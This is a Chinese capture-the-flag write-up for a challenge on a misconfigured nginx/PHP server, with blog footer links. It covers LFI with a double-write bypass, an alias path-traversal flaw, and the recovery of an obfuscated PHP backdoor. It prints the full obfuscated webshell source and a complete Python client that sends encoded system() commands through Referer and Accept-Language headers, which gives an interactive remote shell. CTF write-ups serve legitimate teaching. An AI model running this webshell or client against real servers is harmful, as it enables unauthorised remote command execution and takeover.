攻防世界——Web_php_wrong_nginx_config

拿到靶机先用dirsearch扫描端口

扫出了6个可访问的端口

20:50:27\] 301 - 178B - /admin -\> http://61.147.171.35/admin/ \[20:50:28\] 200 - 73B - /admin/admin.php \[20:50:29\] 200 - 15B - /admin/ \[20:50:31\] 200 - 15B - /admin/index.php \[20:51:03\] 301 - 178B - /images -\> http://61.147.171.35/images/ \[20:51:29\] 200 - 42B - /robots.txt

分析robots.txt

发现里面给了我们两个文件

hint.php中给了我们一个配置文件的文件路径

访问这个路径需要管理员权限

访问hack.php也一样

回到login页面尝试登录

尝试弱口令登录

发现都会出现一个弹窗

分析一下文件头

发现cookie参数很奇怪

尝试修改cookie参数为1

发现成功进入主页面了

再尝试访问hack.php

发现页面没什么变化

尝试访问先前在dirsearch中扫出来的image.php

发现访问到403了

尝试随便点击一个页面链接

发现url传参有变化

出现一个file注入点

也许存在文件包含

复制代码
http://61.147.171.35:54530/admin/admin.php?file=index&ext=php

利用注入点中的文件包含漏洞访问根目录

复制代码
?file=../../../../etc/passwd&ext=

发现没反应

双写绕过

成功访问

访问先前在hint.php中提示我们的配置文件目录

格式化后如下

php 复制代码
server {
    listen 8080;  # 监听IPv4连接,默认情况下会监听所有可用的IP地址
    listen [::]:8080;  # 监听IPv6连接

    root /var/www/html;  # 设置网站的根目录
    index index.php index.html index.htm;  # 设置默认索引文件

    port_in_redirect off;  # 关闭端口重定向功能,避免在重定向时暴露服务器使用的端口号
    server_name _;  # 使用通配符作为服务器名称,匹配所有未指定的域名请求

    # 注释掉的代码,原本用于使站点可以通过 http://localhost/ 访问
    # server_name localhost;

    # 如果块用于设置日志文件的时间戳
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {  # 匹配ISO 8601时间格式
        set $year $1;  # 提取年份
        set $month $2;  # 提取月份
        set $day $3;  # 提取日期
    }

    # 根据Vagrant文档建议禁用sendfile以提高性能和兼容性
    sendfile off;

    # 过滤X-Forwarded-For

头信息中的最后一个八位字节,通常是为了保护真实IP或出于隐私考虑
    set $http_x_forwarded_for_filt $http_x_forwarded_for;
    if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
        set $http_x_forwarded_for_filt $1???;  # 替换最后一个八位字节为???
    }

    # 添加标准输出的日志记录(stdout logging)
    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;  # 自定义访问日志格式,按日期分割日志文件
    error_log /var/log/nginx/error.log info;  # 错误日志级别设置为info

    location / {
        # 尝试按照顺序查找文件、目录或执行PHP脚本
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;  # 隐藏Nginx版本号等敏感信息
    }

    # 定义500系列错误页面的处理方式
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;  # 指定50x错误页面的位置
    }

    location ~ \.php$ {
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;  # 分割fastcgi路径信息
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;  # PHP-FPM

 Unix socket路径
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;  # 包含FastCGI

参数文件
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;  # 设置远程地址为X-Forwarded-For头信息
    }

    # 禁止访问隐藏文件和目录
    location ~ /\. {
        log_not_found off;  # 不记录找不到隐藏文件的日志
        deny all;  # 拒绝所有请求
    }

    # Web图像目录配置,允许列出目录内容
    location /web-img {
        alias /images/;
        autoindex on;  # 开启自动索引显示
    }

    # 禁止访问特定类型的文件(如配置文件、文档等)
    location ~* \.(ini|docx|pcapng|doc)$ {  
        deny all;  # 拒绝所有请求
    }  

    # 包含其他配置文件,注意这里的正则表达式符号可能需要根据实际情况调整
    include /var/www/nginx[.]conf;
}

拉到最下面我发现了刚刚被拒绝访问的images页面

alias的意思是别名,让用户可以输入web-img,实际上访问images目录

autoindex on 的意思是能够在这个页面索引其他页面

这就是一个典型的目录穿透漏洞

利用web-img../访问根目录

访问网页目录

php 复制代码
http://61.147.171.35:54530/web-img../var/www/html

发现还是先前的首页

访问前一个目录

发现一个hack.php.bak

代码审计back.php

发现是一段被混淆的代码

php 复制代码
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

直接输出$f获取源文件

发现是个已经成功写入的PHP webshell

利用这个脚本直接连接上这个脚本便可获取webshell

kh="42f7";kf="e9ac"; 和 url 填进去,url 即木马的地址,我们这里就是 hack.php 的位置

php 复制代码
#!/usr/bin/env python3
# encoding: utf-8
 
from random import randint, choice
from hashlib import md5
import urllib.parse
import string
import zlib
import base64
import requests
import re
 
def choicePart(seq, amount):
    length = len(seq)
    if length == 0 or length < amount:
        print('Error Input')
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0, length - 1)
        if i not in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result
 
def randBytesFlow(amount):
    result = b''
    for _ in range(amount):
        result += bytes([randint(0, 255)])
    return result
 
def randAlpha(amount):
    result = ''
    for _ in range(amount):
        result += choice(string.ascii_letters)
    return result
 
def loopXor(text, key):
    result = b''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt < lenTxt and iKey < lenKey:
            result += bytes([text[iTxt] ^ ord(key[iKey])])
            iTxt += 1
            iKey += 1
    return result
 
def debugPrint(msg):
    if debugging:
        print(msg)
 
# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = 'http://223.112.5.141:62739/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http': 'http://127.0.0.1:8080'}
 
sess = requests.Session()
 
# generate random Accept-Language
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(list(range(1, 10)), 3), reverse=True)
 
acceptLang = [defaultLang]
for i in range(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
 
init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = md5((init2Char + keyh).encode()).hexdigest()[0:3]
md5tail = md5((init2Char + keyf).encode()).hexdigest()[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % init2Char)
debugPrint('md5 head: %s' % md5head)
debugPrint('md5 tail: %s' % md5tail)
 
# Interactive php shell
cmd = input('phpshell > ').strip()
while cmd != '':
    if not cmd.endswith(';'):
        safe_cmd = cmd.replace("'", "\\'")
        cmd = f"system('{safe_cmd}');"
 
    # build junk data in referer
    query = []
    for _ in range(max(indexes) + 1 + randint(0, 2)):
        key = randAlpha(randint(3, 6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))).decode()
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.parse.urlencode(query))
 
    # encode payload
    payload = zlib.compress(cmd.encode())
    payload = loopXor(payload, xorKey)
    payload = base64.urlsafe_b64encode(payload).decode()
    payload = md5head + payload
 
    # cut payload, replace into referer
    cutIndex = randint(2, len(payload) - 3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0], payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.parse.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)
 
    # send request
    r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
    html = r.text
    debugPrint(html)
 
    # process response
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print('Error,  no backdoor response')
        cmd = input('phpshell > ').strip()
        continue
    output = output[0]
    debugPrint(output)
    output = base64.b64decode(output)
    output = loopXor(output, xorKey)
    output = zlib.decompress(output).decode()
    print(output)
    cmd = input('phpshell > ').strip()

ctf{a57b3698-eeae-48c0-a669-bafe3213568c}

相关推荐
北漂燕郊杨哥2 小时前
Laravel中Tymon\JWTAuth 的用法示例
php·laravel
csbysj20202 小时前
XML Schema 复合类型 - 混合内容
开发语言
火羽白麟2 小时前
大坝安全的“血液”——数据支撑
安全·大坝·水利
wjs20242 小时前
Web品质 - 重要的HTML元素
开发语言
Whoami!2 小时前
❾⁄₄ ⟦ OSCP ⬖ 研记 ⟧ 防病毒软件规避 ➱ 内存中的逃避技术(上)
网络安全·信息安全·防病毒软件·逃逸技术
枫叶丹42 小时前
【Qt开发】Qt事件(二)-> QKeyEvent 按键事件
c语言·开发语言·数据库·c++·qt·microsoft
leo_2323 小时前
从开发语言角度来谈谈SMP(上)--SMP(软件制作平台)语言基础知识之十三
开发语言·开发工具·smp(软件制作平台)·应用系统
llxxyy卢4 小时前
JWT安全&预编译CASE注入
数据库·sql·安全
wanhengidc11 小时前
云手机的适配性怎么样?
运维·服务器·安全·智能手机·云计算